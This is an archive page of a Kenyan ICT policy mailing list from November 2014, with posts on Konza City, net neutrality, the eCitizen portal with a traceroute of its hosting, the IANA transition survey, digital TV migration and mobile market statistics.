+254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/

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FYI: Private Sector statement on upcoming Information Technology Agreement meeting in Geneva
by waudo siganga 21 Nov '14

21 Nov '14

Dear all - the attached could be of interest to some.

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MPESA technology expands to Europe
by waudo siganga 20 Nov '14

20 Nov '14

http://edition.cnn.com/2014/11/20/tech/mobile/tomorrow-transformed-m-pesa-m…

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Telecoms regulator seeks powers to spy on consumers - Another case of Silly Season or should we be concerned?
by Ali Hussein 20 Nov '14

20 Nov '14

Listers Apologies for cross-posting. Kenya’s telecommunication sector regulator is seeking fresh powers to spy on consumers that could see users of voice and data services lose their privacy to State and security agencies without their knowledge. Read on:- http://www.businessdailyafrica.com/Corporate-News/Telecoms-regulator-seeks-… Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad

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Fwd: [i-network] Notable Cyber Attacks that happened during the 1st half of November
by Barrack Otieno 20 Nov '14

20 Nov '14

Can the community Authority through its CERT provide us with this kind of information with emphasis on what is happening locally? Best Regards ---------- Forwarded message ---------- From: Uganda Computer Emergency Response Team UgCERT <info(a)ug-cert.ug> Date: Tue, 18 Nov 2014 07:59:35 GMT Subject: [i-network] Notable Cyber Attacks that happened during the 1st half of November To: I-Network Uganda <i-network(a)dgroups.org> Good Morning All, Attached is a list of the major cyber attacks that happened around the world during the 1st half of this month and also during the month of October. You can read them for your own interest. Regards Uganda Computer Emergcency Response Team, UCC -- Barrack O. Otieno +254721325277 +254-20-2498789 Skype: barrack.otieno http://www.otienobarrack.me.ke/

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Konza City Developments
by S.M. Muraya 20 Nov '14

20 Nov '14

No disagreements with either Dr. Ndii's or Dr. Ndemo's views...but.... How do we minimize foreign trips/transactions in favor of developing local talent/firms through Konza? Which public officials well known to favor (building up) local firms for local contracts are involved in the Konza City Development? http://www.nation.co.ke/oped/Opinion/Why-Ndii-Konza-City-misleading/-/44080… FRIDAY, NOVEMBER 14, 2014 Why Ndii’s view on Konza City and other projects is misleading I like reading Dr David Ndii’s column and sometimes I agree with him on a number of issues. [image: Former Information Communications and Technology PS Bitange Ndemo, takes former President Mwai Kibaki through a plan for the Konza Techno City during a ground-breaking ceremony at Malili on the Machakos-Makueni border on January 23, 2013. FILE PHOTO | BILLY MUTAI |] Former Information Communications and Technology PS Bitange Ndemo, takes former President Mwai Kibaki through a plan for the Konza Techno City during a ground-breaking ceremony at Malili on the Machakos-Makueni border on January 23, 2013. FILE PHOTO | BILLY MUTAI | NATION MEDIA GROUP In Summary - The Konza City project did not drop from the sky, as Dr Ndii suggests. It was conceptualised in such a way that it would leverage on existing and future infrastructure. - The knowledge city was to incubate start-ups, pass the necessary skills to recruits and speed up their development into fully fledged companies that could provide skills and absorb many of our graduates, who, instead of utilising their knowledge, are selling second-hand clothes or running errands for politicians. - Dr Ndii should focus on a growing body of research that has been emerging among development economists since the beginning of this century, focusing on interactions between ethnic diversity and economic development, particularly at the level of the nation-state. I like reading Dr David Ndii’s column and sometimes I agree with him on a number of issues. But in his November 8 column titled, ‘Human capital, not mega-projects, will turbo-charge economy’, he was dead wrong. I wish he had done a bit of research to know the impact of the Vision 2030 flagship projects. In my view, he should have spent his valuable time thanking former President Mwai Kibaki for an excellent job he did while he was at the helm and President Uhuru Kenyatta for showing maturity in continuing with these transformative projects. When historians come to write about Kenya, they will certainly recognise that it was the Kibaki administration that started what may be called indigenous thinking on how we can chart our economic future. *MEASURED RISKS* Against all odds, President Kibaki allowed Cabinet ministers and senior civil servants to take measured risks to implement some of the most transformative projects in Kenya’s history. This is how we were able to implement the ICT infrastructure within a short period, giving rise to additional needs such as technology park that would help incubate start-ups and deepen our human capital. The Konza City project did not drop from the sky, as Dr Ndii suggests. It was conceptualised in such a way that it would leverage on existing and future infrastructure. The expansion of the Mombasa highway into a dual carriage way and the Standard Gauge Railway (SGR) were meant to directly benefit Konza. The government was to spend funds on the infrastructure within the site and a few buildings to support the incubation of local start-ups. Most of the vertical infrastructure were to be built by the private sector. We took time to study how we could quickly diffuse technology and leverage on it to transform our economy. We travelled to India and the Silicon Valley, picked up the best practices and signed contracts with global technology companies to co-create and share intellectual property. This is how knowledge is sustainably transferred in modern days. (READ: Human capital, not mega-projects, will turbo-charge economy <http://www.nation.co.ke/oped/Opinion/Human-capital-turbo-charge-economy/-/4…> ) (READ: Of bullet trains and delusions of mega techno-cities <http://www.nation.co.ke/oped/Opinion/bullet-trains-delusions-mega-techno-ci…> ) *FACILITATING INDUSTRY* This was as a result of the fact that our university graduates were unemployable, and the private sector was stuck with archaic production systems with little research. Today, we see more failures in manufacturing than new companies because the government was not playing its role in facilitating industry and research institutions. Our aim was to create a development corridor similar to the Delhi-Mumbai industrial corridor — a State-Sponsored Industrial Development Project of the Government of India. The purchase of 5,000 acres in the Athi Basin marked the first step in the 1,000-mile project to see our own corridor that would spur the economy. The knowledge city was to incubate start-ups, pass the necessary skills to recruits and speed up their development into fully fledged companies that could provide skills and absorb many of our graduates, who, instead of utilising their knowledge, are selling second-hand clothes or running errands for politicians. Parallel to these efforts we asked the President to support the Open Data Initiative, which became the lifeblood of the nascent creative industry in Kenya. Indeed, he launched the initiative and more than 400 data sets were uploaded to the Kenya Open Data Initiative (KODI). We were laying the foundation stone for building a knowledge economy. I was, therefore, perplexed by Dr Ndii’s article, which though it had the correct title, contained misleading content. How else can one develop human capital without the processes we were putting in place? I least expected Dr Ndii, a leading economist, to confuse human capital (the skills, knowledge, and experience possessed by an individual or population) and education (the process of receiving or giving systematic instruction, especially at a school or university). *FUTURE WORKERS* In fact, Korea’s success was as a result of its focus on development of skills within its several industrial parks and at technical and vocational education and training, which we have destroyed in favour of a theory-based education system. In addition, several other successful countries such as Germany put more emphasis on three areas — pre-employment skills development to prepare future workers, in-service training to upgrade the work force’s skills and active labour market training programmes to reintegrate the unemployed and disadvantaged. The ecosystem of Konza was to provide these three critical missing components in our economic development. The injection of 5,000 mw into our national electricity grid will be a drop in the ocean if we persistently pursue skills development as I have stated above. With the advent of 3D printing and a motivated youth with computer literacy, we can change the world. A liberalised energy sector would be more meaningful than attempting to protect small and inefficient operations that would never bring down prices of goods. Such free thinking will enable our economy to leapfrog others and not just grow in the linear format that Dr Ndii favours. This linear business model that Nobel laureate Amartya Sen censures in favour of rationalism, is a Western empiricist mentality that my brother Dr Ndii buys as wholesome truth. Western economists themselves admit that their economic modelling does not fully explain our growth patterns. That is how they created Development Economics, a branch of economics that deals with the developing countries. Dr Ndii should focus on a growing body of research that has been emerging among development economists since the beginning of this century, focusing on interactions between ethnic diversity and economic development, particularly at the level of the nation-state. Wikimedia says that while most research looks at empirical economics at both the macro and the micro level, this field of study has a particularly heavy sociological approach. *ETHNIC DIVERSITY* The more conservative branch of research focuses on tests for causality in the relationship between different levels of ethnic diversity and economic performance, while a smaller and more radical branch argues for the role of neoliberal economics in enhancing or causing ethnic conflict. This will be more relevant to our situation just like the contribution of Amartya Sen to welfare economics that highlighted the plight of the poor in his native India. Back to Vision 2030 Mega Projects. The Standard Gauge Railway benefits far exceed the costs. I do not know if Dr Ndii’s modelling factored in productivity gains to Rwanda, Burundi, Uganda and Kenya. It takes more than two weeks to transport goods from Mombasa to Kampala and three to four days from Mombasa to Nairobi. It is cheaper to transport a container from Durban to Mombasa than from Mombasa to Nairobi. Also, the Mombasa-Malaba road is constantly damaged by heavy vehicles and needs repair all the time. These vehicles are not just the major causes of accidents, especially when they stall on the highway, but are also heavy polluters. It is a shame when Dr Ndii suggests that the Thika Superhighway should never have been built. The completion of this short distance highway has attracted more foreign direct investment than the cost of constructing it. Garden City would never have been built at Ruaraka if the road had not been expanded. In fact, three more major private mega-projects are about to come up. These projects create employment and an opportunity for farmers to supply their produce. *Dr Ndemo is a former PS for Information Communications and Technology*

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Fwd: [global-nn] ThisIsNetNeutrality Relaunch and Press Release
by Ali Hussein 20 Nov '14

20 Nov '14

Listers Apologies for cross posting. Interesting development on Net Neutrality issues. Please see email thread below and kindly visit the site for more on Net Neutrality. There is even a Swahili version which is an achievement thanks to Kictanet. Net Neutrality may not be a 'sexy' subject for some but I think it's important for all of us to understand it and pay attention to its development and preservation. Think about it this way:- If Net Neutrality is threatened one day you may wake up and realize that the freedoms you took for granted - like reading this rambling email from me :) - is threatened because some Telco somewhere decided it doesn't like the contents...or Kictanet didnt pay 'gatekeeping' fees. Far fetched? Do nothing and roll the dice.. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad Begin forwarded message: > From: <deji(a)accessnow.org> > Date: November 20, 2014 at 1:47:26 AM EAT > To: global-nn(a)lists.riseup.net > Subject: [global-nn] ThisIsNetNeutrality Relaunch and Press Release > Reply-To: <deji(a)accessnow.org> > > Hi to All, > > I hope this message finds you well. I wanted to introduce myself--I’m the new > Senior Advocacy Manager at Access and I look forward to working with you on > the Global Net Neutrality Coalition. > > You have all seen the original version of the great ThisisNetNeutrality.org > site. The redesign is finished and will more clearly spotlight members of the > coalition and invite new members to join. It’s a responsive site that should > work well on computers and mobile devices. You can visit it here: > https://thisisnetneutrality.org/beta > > We would like to issue a press release on Tuesday next week about this > exciting news. I see a couple of major points that are worth celebrating: the > global diversity of the coalition and the fact that civil society groups have > agreed on a universal definition of net neutrality. We can also explain that > thisisnetneutrality.org will soon be the leading resource on net neutrality > laws and policies around the globe. > > It would be great to have as many statements as possible for the press > release. If you want to be included, please send me a short 2-3 line statement > along by Monday, November 24. > > Here are some sample points for quotes: > > -- Thisisnetneutrality.org highlights the importance of net neutrality to > users around the world. > -- This issue is not confined to one country or region, and affects people in > the developed and developing world alike. > -- Net neutrality is essential in countries where internet infrastructure is > still being built. > -- Now we have a resource for the world to discover and for policy makers to > know that net neutrality matters so that they can make informed decisions > about the future of the internet. > > Let’s make sure our coalition gets the attention it deserves in every region > and country where it is represented. So please reach out to individual > journalists and publications where you have contacts if you can. > > I want to do whatever I can to help move this important effort forward, so > kindly let me know if you have any questions. And once again--it’s a pleasure > to meet. > > Best, > -- > Deji Olukotun > Senior Advocacy Manager > Access | accessnow.org > > tel: +1 888 414 0100 x 708 | @dejiridoo > PGP: 0x6012CDA8 > Fingerprint: 3AEE 4194 F70E C806 A810 857A 6AD5 8F48 6012 CDA8

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2014 ICT Value Awards
by Salesio Kiura 20 Nov '14

20 Nov '14

Dear all, Introducing ICT Value Awards. Please find attached. regards, Salesio -- ===== Give thanks for everything since: *All works for good to those that love the LORD!*

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State rolls out Sh225b plan to improve Internet speeds
by Bernard Kioko 19 Nov '14

19 Nov '14

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Regulator sets new digital TV deadline
by Grace Githaiga 19 Nov '14

19 Nov '14

Viewers in Nairobi have until the end of this year to migrate to the digital platform or they will not be able to watch TV.This is after the government set December 31 as the last day when analogue signals will be used in Nairobi and its environs, commencing the first phase of the switch to digital television. Read on: http://www.nation.co.ke/news/CAK-Deadline-Nairobi-Digital-Migration/-/1056/…

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Re: [kictanet] eCitizen Working Well
by Phares Kariuki 18 Nov '14

18 Nov '14

Firstly, I'll state I'm an interested party, being part of Angani. We have reached a high level of maturity when it comes to both datacenter infrastructure and operations and hosting/cloud infrastructure 1) Datacenter infrastructure and operations - Angani currently has two sites. One is with East Africa Datacenter, which is the first Tier 3 datacenter in this region. We've never had any power outage/network outage since moving into this facility. 2) Cloud Infrastructure - the expertise for this exists, in Kenya. We, as a team have experience in building and maintaining critical systems. Given that we have two availability zones, it's possible to have your application replicated between two sites. We've come a long way. Angani has been in operation effectively for the last 11 months and in that time we've moved from having to convince customers to trust our platform to managing over 12,000 email accounts. We are now one of the larger hosting providers in Kenya http://myip.ms/view/countries/KEN/Internet_Usage_Statistics_Kenya.html. This is within 11 months (we came out of beta late December 2013). Why am I giving these stats? Times have changed, the local private sector sees this and has chosen to trust us with their information. On Thu, Nov 13, 2014 at 2:57 PM, Ngigi Waithaka via kictanet < kictanet(a)lists.kictanet.or.ke> wrote: > @Dorcas, > > There are very few local websites that would need scalability past Duo CPU > / Multi-core setups with good memory so i guess scalability is easily > sorted or is a non-issue. > > In terms of redundancy, two local sites would pull the trick very well > IMO. Say KDN Data Center with Sfaricom Data Center as a hot backup. > > Rgds > > On Thu, Nov 13, 2014 at 2:05 PM, Dorcas Muthoni via kictanet < > kictanet(a)lists.kictanet.or.ke> wrote: > >> @Adam >> >> I would be keen to learn on any high-availability data centres that can >> scale locally. Yes, i challenge you give me a site visit! >> >> Although i would prefer the services hosted in a local data centre, i am >> doubtful that we have any that would scale well. >> >> >> On Sat, Nov 8, 2014 at 6:30 PM, Adam Nelson via kictanet < >> kictanet(a)lists.kictanet.or.ke> wrote: >> >>> It would also be nice to see it hosted in Kenya (or at least Europe): >>> >>> 18:27:44 ~ $ sudo mtr www.ecitizen.go.ke --report >>> Start: Sat Nov 8 18:29:18 2014 >>> HOST: adam-2.local Loss% Snt Last Avg Best Wrst >>> StDev >>> 1.|-- 192.168.1.1 0.0% 10 1.5 1.8 1.1 3.1 >>> 0.3 >>> 2.|-- 192.168.201.1 0.0% 10 2.9 8.7 2.8 53.9 >>> 15.9 >>> 3.|-- 41.57.108.5 0.0% 10 2.4 4.7 2.4 19.2 >>> 5.2 >>> 4.|-- 41.222.8.217 0.0% 10 157.7 19.9 2.2 157.7 >>> 48.6 >>> 5.|-- 195.229.27.57 60.0% 10 59.0 59.7 59.0 60.4 >>> 0.0 >>> 6.|-- 195.229.0.89 0.0% 10 64.2 70.2 60.8 104.0 >>> 12.6 >>> 7.|-- pos0-15-0-0.palermo17.pal 0.0% 10 147.0 148.7 142.3 172.5 >>> 8.6 >>> 8.|-- xe-2-3-0.milano51.mil.sea 50.0% 10 165.4 167.7 164.8 177.2 >>> 5.3 >>> 9.|-- ntt-verio.milano51.mil.se 30.0% 10 171.6 189.6 170.7 228.1 >>> 24.2 >>> 10.|-- ae-20.r03.amstnl02.nl.bb. 0.0% 10 276.3 276.9 275.7 281.1 >>> 1.4 >>> 11.|-- ae-4.r23.amstnl02.nl.bb.g 0.0% 10 184.7 188.6 182.8 204.7 >>> 6.2 >>> 12.|-- ae-7.r21.asbnva02.us.bb.g 40.0% 10 259.4 265.6 258.7 297.6 >>> 15.7 >>> 13.|-- ae-0.r20.asbnva02.us.bb.g 20.0% 10 264.3 262.6 260.3 266.1 >>> 2.1 >>> 14.|-- ae-8.r23.nycmny01.us.bb.g 20.0% 10 273.6 273.5 265.7 314.9 >>> 16.9 >>> 15.|-- ae-3.r20.chcgil09.us.bb.g 0.0% 10 279.2 283.6 278.9 302.5 >>> 7.7 >>> 16.|-- ae-1.r06.chcgil09.us.bb.g 10.0% 10 279.7 280.5 278.8 285.2 >>> 1.8 >>> 17.|-- ae-0.gtt-offnet.chcgil09. 10.0% 10 293.1 295.7 288.3 335.4 >>> 15.1 >>> 18.|-- ae4.cr1.ord6.us.scnet.net 11.1% 9 299.0 294.1 291.7 299.0 >>> 2.5 >>> 19.|-- ae3.ar7.ord6.us.scnet.net 22.2% 9 297.1 295.1 294.0 297.1 >>> 1.2 >>> 20.|-- server.perihelionwebdesig 11.1% 9 294.4 295.8 294.4 297.5 >>> 0.9 >>> 18:29:36 ~ $ >>> >>> -- >>> Kili - Cloud for Africa: kili.io >>> Musings: twitter.com/varud <https://twitter.com/varud> >>> More Musings: varud.com >>> About Adam: www.linkedin.com/in/adamcnelson >>> >>> On Sat, Nov 8, 2014 at 6:02 PM, Ali Hussein <ali(a)hussein.me.ke> wrote: >>> >>>> Adam >>>> >>>> Great points. I think if the designers were looking at (in my humble >>>> opinion) emulating the Estonia and Singapore case studies then they are on >>>> to a great start. I'm thinking also (not sure though as it might just be >>>> serendipity) that they are using an iterative process to develop this. >>>> >>>> One thing that definitely is a major UP is the use of local IP to >>>> develop the payment gateway! >>>> >>>> Great start Team Kenya Government! >>>> >>>> Regards >>>> >>>> *Ali Hussein* >>>> >>>> +254 770 906375 / 0713 601113 >>>> >>>> Twitter: @AliHKassim >>>> >>>> Skype: abu-jomo >>>> >>>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>>> <http://ke.linkedin.com/in/alihkassim> >>>> >>>> Blog: www.alyhussein.com >>>> >>>> "I fear the day technology will surpass human interaction. The world >>>> will have a generation of idiots". ~ Albert Einstein >>>> >>>> Sent from my iPad >>>> >>>> On Nov 8, 2014, at 12:45 PM, Adam Nelson via kictanet < >>>> kictanet(a)lists.kictanet.or.ke> wrote: >>>> >>>> It looks great and well designed. Two comments: >>>> >>>> 1. This site should really be https everywhere. I see that the form >>>> submits to an https site but how does one validate that ahead of time >>>> without looking at the source? >>>> 2. I know it's 'eCitizen' but it would be nice if this worked for legal >>>> residents as well. Most legal residents don't have an ID that works in >>>> that system unfortunately. >>>> >>>> Otherwise, great stuff! >>>> >>>> Cheers, >>>> Adam >>>> >>>> -- >>>> Kili - Cloud for Africa: kili.io >>>> Musings: twitter.com/varud <https://twitter.com/varud> >>>> More Musings: varud.com >>>> About Adam: www.linkedin.com/in/adamcnelson >>>> >>>> On Sat, Nov 8, 2014 at 10:58 AM, Gideon via kictanet < >>>> kictanet(a)lists.kictanet.or.ke> wrote: >>>> >>>>> >>>>> + Aly, Walu, Dorcas for these observations, >>>>> >>>>> First off i appreciate that we are having such an encouraging >>>>> conversation about the eCitizen government portal, for those who have had >>>>> first hand experience on it. I think it is important to see that these >>>>> comments will help improve the services and also express the fact that it >>>>> is functional. >>>>> >>>>> I encourage that we continue to give our comments so that we can see >>>>> the improved use of ICT's in government. >>>>> >>>>> Regards >>>>> Gideon Rop >>>>> DCA >>>>> >>>>> >>>>> >>>>>> Hi All, >>>>>> >>>>>> Wanted to pass a thumbs up to the ICT Authority Team, i used the >>>>>> eCitizen >>>>>> portal to apply for a duplicate DL recently. >>>>>> >>>>>> All worked out very well. >>>>>> >>>>>> Thumbs up to the Pesapal team, that payment went very well! >>>>>> >>>>>> NTSA customer service was great. >>>>>> >>>>>> Times tower 3rd Floor team was bit slow, i forgive them as i got our >>>>>> old >>>>>> paper booklet DL version for the replacement. >>>>>> >>>>>> I did not leave my desk to have these going which was even greater! My >>>>>> messenger collected the DL painlessly too. >>>>>> >>>>>> Kudos to all behind the work. I guess Dr. Matiang'i, Victor, Dr. >>>>>> Getao, >>>>>> Harry, Mugambi and entire team. >>>>>> >>>>>> -- >>>>>> Muthoni >>>>>> >>>>>> My Blog: http://rugongo.blogspot.com/ >>>>>> -------------------------------------------- >>>>>> Mahatma Gandhi once said:- >>>>>> >>>>>> First they ignore you, >>>>>> Then they laugh at you, >>>>>> Then they fight you, >>>>>> AND THEN YOU WIN!!! >>>>>>

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Fwd: [IANAOversight] IANA stewardship transition Questionaire
by Mwendwa Kivuva 18 Nov '14

18 Nov '14

Greetings, AFRINIC released a questionnaire to capture community feedback on the IANA transition as it affects the numbering community. The questionnaire is short, with 4 questions, and will take you only 4 minutes to complete. http://survey.afrinic.net/index.php?sid=72285&lang=en Please help AFRNIC in gathering community feedback. Regards Mwendwa Kivuva ---------- Forwarded message ---------- From: AFRINIC Communications <comm-announce(a)afrinic.net> Date: Tue, 11 Nov 2014 23:23:26 +0400 Subject: [IANAOversight] IANA stewardship transition Questionaire To: ianaoversight(a)afrinic.net *** [French Version available further down] **** Dear Colleagues, AFRINIC is seeking community input on the IANA Stewardship Transition to assist in the development of a proposal from the AFRINIC region that will be consolidated into the join Nimber community's contribution. We encourage you to complete this short survey, which will take you less than five minutes of your time: http://survey.afrinic.net/index.php?sid=72285&lang=en Survey period: 11 to 18 Nov 2014 at 18:00 UTC. Background ---------- On March 2014, the United States Government's National Telecommunications and Information Administration (NTIA) announced its intention to transition away from its oversight of the IANA functions and hand this role over to the global multistakeholder community. The current contract expires on 30 September 2015. The IANA functions, currently managed by the Internet Corporation for Assigned Names and Numbers (ICANN), include the management of the global Internet number resources registry (IPv4, IPv6 and ASN). AFRINIC, together with the other four RIRs, is one of the IANA's key stakeholders. A global consultation has been launched by the IANA Stewardship Coordination Group (ICG) to enable a comprehensive proposal, which includes input from all stakeholders, to be prepared. The proposal will be submitted to the NTIA by September 2015. In order to gather input from the AFRINIC region and contribute this into the proposal, AFRINIC is conducting a regional consultation by way of this survey. The other four RIRs are also conducting similar surveys in their own regions. The outcomes of the survey will guide our discussion during the IANA Oversight Transition discussion session taking place during the AFRINIC-21 Meeting in Mauritius, 22-28 November, 2014. Remote participation will be facilitated. Find out more about the IANA Oversight Transition and how you can have your say at: http://afrinic.net/en/community/iana-oversight-transition We look forward to your input. ----------------------------------------[ FRENCH ]---------------------------------------- Chers collègues, AFRINIC sollicite le point de vue de la communauté sur la transition du mechanism de supervision de la fonction IANA. Votre contribution aidera à définir la position d'AFRINIC dans la proposition commune que soumettra la communauté des 5 RIR. Nous vous encourageons vivement à répondre à ce questionnaire qui ne prendra que cinq minutes de votre temps et dont les informations collectées serviront a enrichir les discussions: http://survey.afrinic.net/index.php?sid=23246&lang=en Le questionnaire sera ouvert en ligne du 11 au 18 Nov 2014 a 18:00 UTC Contexte ---------------- En Mars 2014, l'Administration Nationale des Telecommunications et de l'Information (NTIA) du gouvernement américain a annoncé son intention de transférer son rôle de supervision des fonctions de l'IANA à la communauté mondiale multipartite. Le contrat actuel de supervision arrive à expiration le 30 Septembre 2015. Les fonctions de l'IANA, actuellement gérées par la Société pour l'Attribution des Noms de domaine et des Numéros sur Internet (ICANN) incluent la gestion globale des ressources numériques Internet (IPv4, IPv6 et l'ASN) administré régionalement par les RIRs. Pour rappel, AFRINIC, tout comme quatre autres RIRs, est l'un des principaux récipiendaires des services de l'IANA. Une consultation mondiale a été lancée par le Groupe de Coordination de la transition du rôle de supervision des fonctions IANA (ICG) afin de parvenir à une proposition globale. Laquelle proposition qui devra inclure la contribution de toutes les parties prenantes. Une fois finalisée, cette proposition sera soumise à la NTIA en Septembre 2015. Afin de faire connaitre la position de sa communauté AFRINIC conduit une consultation régionale dont ce sondage est un élément. Les quatre autres RIRs conduisent également des consultations similaires dans leurs regions respectives. Les résultats de ce sondage serviront de base pour les discussions lors de la séance dédiée à la Transition du rôle de la supervision des fonctions de l'IANA pendant la réunion d'AFRINIC-21 qui se tiendra à Maurice du 22-28 Novembre 2014. La participation à distance à cette séance sera disponible. Pour plus d'information sur le processus de transition de la fonction IANA et comment y contribuer, visitez: http://afrinic.net/en/community/iana-oversight-transition Merci d'avance pour votre cooperation. ________________________________________ Adiel A. Akplogan Chief Executive Officer, AFRINIC t: +230 403-5101 | f: +230 466-6758 adiel(a)afrinic.net | wwww.afrinic.net _______________________________________________ ianaoversight mailing list ianaoversight(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/ianaoversight -- ______________________ Mwendwa Kivuva, Nairobi, Kenya twitter.com/lordmwesh The best athletes never started as the best athletes. You have to think anyway, so why not think big? - Donald Trump. "You miss 100 percent of the shots you never take." - Wayne Gretzky. Tackle the biggest frog first. I will persist until I succeed - Og Mandino.

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Government needs more conversations with local businesses
by S.M. Muraya 18 Nov '14

18 Nov '14

Is this happening in Kenya? http://www.computerweekly.com/news/2240234795/Government-needs-more-convers… Government needs more conversations with local businesses, says digital chief Mike Bracken The government needs to have more conversations with businesses of all shapes and sizes on a regional basis in order to capture the skills to deliver successful digital public services. <http://www.computerweekly.com/ehandbook/Revolutionising-digital-public-serv…> Speaking to Computer Weekly, executive director of the Government Digital Service (GDS) Mike Bracken <http://www.computerweekly.com/news/2240233721/GDS-director-Mike-Bracken-cha…> said government needs to have more conversations with businesses. Procurement has changed in government over the last few years, after the Cabinet Office mandated "no more big IT" in government, with new contracts having to remain below a lifetime value of £100m <http://www.computerweekly.com/news/2240213150/Government-attempts-to-end-bi…> . And frameworks like the G-Cloud <http://www.computerweekly.com/news/2240222828/Interview-G-Cloud-director-To…> and the Digital Market Place <http://www.computerweekly.com/news/2240234221/Cabinet-Office-launches-digit…> have transformed the way government procures technology services, by allowing greater input from SMEs as well as including more companies from all over the UK, rather than just in the South West. <http://cdn.ttgtmedia.com/rms/computerweekly/Government_suppliers_UK.jpg> Map of G-cloud suppliers: The spending on G-Cloud up to 14 July 2014. Previously most suppliers were based around London and Reading, but this has now spread out. Pink dots represent SMEs, while blue dots represent large suppliers. “We don’t filter by size, we want companies of all sizes,” said Bracken. “But largely procurement rules in the past saw the vast majority of our technology spending go to a handful of companies. That has number of damaging effects, not least giving the idea to smaller companies that they can’t deal with government,” he said. He noted that, when the GDS began three years ago, it started engaging with suppliers differently <http://www.computerweekly.com/news/2240185184/G-Cloud-moves-to-GDS>. Now G-Cloud is in its sixth iteration and the second Digital Marketplace is coming up. “It’s early days for all of us, but we’re improving month by month,” he said. But Bracken said that, while these digital engagement tools are good, government still needs to have conversations with businesses. “We need to be very close to those companies, whatever size and shape to help us create greater public services,” he said. “Improving online services is one side, but the key ingredient but more important having the conversation local economy.” Online public services GDS has been in the middle of a project to move 25 of the most used government services online <http://www.computerweekly.com/news/2240213644/Half-way-through-the-Governme…> in 400 working days. The ambitious project kicked off in January 2013, aiming to transform 25 services from visa applications to benefit claims – which were identified as the first “exemplars” to be redeveloped. <https://www.gov.uk/transformation/book-prison-visit> By the end of the 400-day period, the 25 exemplars should be live or in the last stage of public testing. Following in the GDS's footsteps, some government departments have gone it alone – including the Ministry of Justice (MOJ), <http://www.computerweekly.com/news/2240231413/Going-digital-at-the-Ministry…> Her Majesty’s Revenue and Customs (HMRC) <http://www.computerweekly.com/news/2240226038/HMRCs-Digital-Delivery-Centre…> and Driver and Vehicle Licensing Agency (DVLA) <http://www.computerweekly.com/news/2240221532/The-challenges-of-going-digit…>. As well as working on a number of the 25 exemplar projects, these departments have also been working on transforming other digital public services, with the MOJ in the middle of delivering 16 different products, including a new civil legal advice system and internal projects, while completing its fourth and final exemplar before the end of the year. <http://www.computerweekly.com/news/2240234597/MoJ-searches-for-IT-staff-to-…> Last week, the Driver and Vehicle Licensing Agency (DVLA) announced a partnership with startup incubator Tech Hub to launch a new digital workspace in Swansea. <http://www.computerweekly.com/news/2240234691/DVLA-partners-with-Tech-Hub-t…> The initiative intends to connect the ecosystem of suppliers, government, universities and the wider Tech Hub network. The DVLA’s two-year sponsorship includes 50 desks in the Tech Hub building which will allow some of the DVLA’s digital and technology team who are digitising public services <http://www.computerweekly.com/news/2240221532/The-challenges-of-going-digit…> to work alongside startups in Swansea. Having a base and a network in Swansea will encourage shared technology culture, common standards and open application programming interfaces (APIs) that will allow the public and private sector to work together, rather than in isolation. Bracken noted that the partnership between DVLA and Tech Tube was part of a change in government approach that is happening all over the country. He noted HMRC working with different companies in Newcastle for the first time in a long time, as well as a big push by the DWP to use hubs in the North West corridor and particularly around Leeds. “It is part of a wider national move to get companies into the public sector supply chain,” he said. “It’s not just an economic view, but it stimulates skills too.” “The deeply annoying thing for me is that, in the UK, we’re really good at this stuff, and it’s annoying that for a long time we made it hard for our better people and companies to not take part in the public sector.” Recently, the government-backed Tech City launched a TechNorth initiative to support startups in the north of England <http://www.computerweekly.com/news/2240233318/Will-TechNorth-be-able-to-tak…> . All Rights Reserved, Copyright 2000 - 2014 <http://www.computerweekly.com/about/copyright>, TechTarget | Read our Privacy Statement <http://www.techtarget.com/html/privacy_policy.html>

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Fw: GSMA: half a billion mobile subscribers in SSA by 2020
by Matunda Nyanchama 17 Nov '14

17 Nov '14

I hope you have seen this report. Africarepresents the fastest growing mobile subscriber region in the world. It is expectedto continue growing at an annual compound rate of 7%. It is expected that there will be about 525million unique subscribers in the year 2020. This will be approximately 49% of the population of the region. Actualmobile connections are projected to be 975 million. the mobile industry is expected to contribute up to 6.2% of the region’s gross domestic product (GDP) or US$104 billion by 2020. The figures for 2013 are 5.4% and US$75 billion for GDP contribution. It is projected that between 2014 and 2020 operators will inject a total of US$97 billion to cope with projected growth. It is projected that 40% of all mobile devices will be smartphones by year 2020 compared to 5.1% in 2013. The full report is attached.. Enjoy. ---------------------------------------------------------------------------------------------- Matunda Nyanchama, PhD, CISSP; mnyanchama(a)aganoconsulting.com Agano Consulting Inc.; www.aganoconsulting.com; Twitter: nmatunda; Skype: okiambe ----------------------------------------------------------------------------------------------Manage your ICT risks! We are the experts you need! The trusted partners you deserve!Call: +1-888-587-1150 (Canada) +254-20-267-0743 (Kenya) or info(a)aganoconsulting.comLicensed by Communications Authority of Kenya (CA) ----------------------------------------------------------------------------------------------"The best revenge is massive success" - Frank Sinatra----------------------------------------------------------------------------------------------- This e-mail, including attachments, may be privileged and may contain confidential or proprietary information intended only for the addressee(s). Any other distribution, copying, use, or disclosure is unauthorized and strictly prohibited. If you have received this message in error, please notify the sender immediately by reply e-mail and permanently delete the message, including any attachments, without making a copy. Thank you.

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Fwd: [IANAOversight] Upcoming ICG Conference Calls
by Barrack Otieno 14 Nov '14

14 Nov '14

